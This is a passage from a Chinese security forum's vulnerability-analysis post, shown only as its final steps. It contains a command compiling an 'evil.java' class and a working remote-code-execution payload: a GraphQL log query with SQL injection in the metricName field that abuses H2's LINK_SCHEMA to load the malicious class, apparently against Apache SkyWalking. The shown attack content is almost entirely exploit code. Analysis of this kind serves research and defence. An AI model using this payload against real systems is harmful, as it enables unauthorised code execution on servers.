evil.java -target 1.6 -source 1.6` ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-555316463f221a81b2a725adaaa31793789e4910.png) 13、最后执行payload进行RCE(漏洞文档已知第二个参数是class文件名,此处直接代入即可) ```php { "query": "query queryLogs($condition: LogQueryCondition) { logs: queryLogs(condition: $condition) { data: logs { serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content } total } }", "variables": { "condition": { "metricName": "INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','TouchFile','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --", "endpointId":"1", "traceId":"1", "state":"ALL", "stateCode":"1", "paging":{ "pageNum": 1, "pageSize": 1, "needTotal": true } } } } ```
发表于 2021-11-26 09:32:08
阅读 ( 5781 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
菜菜子
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!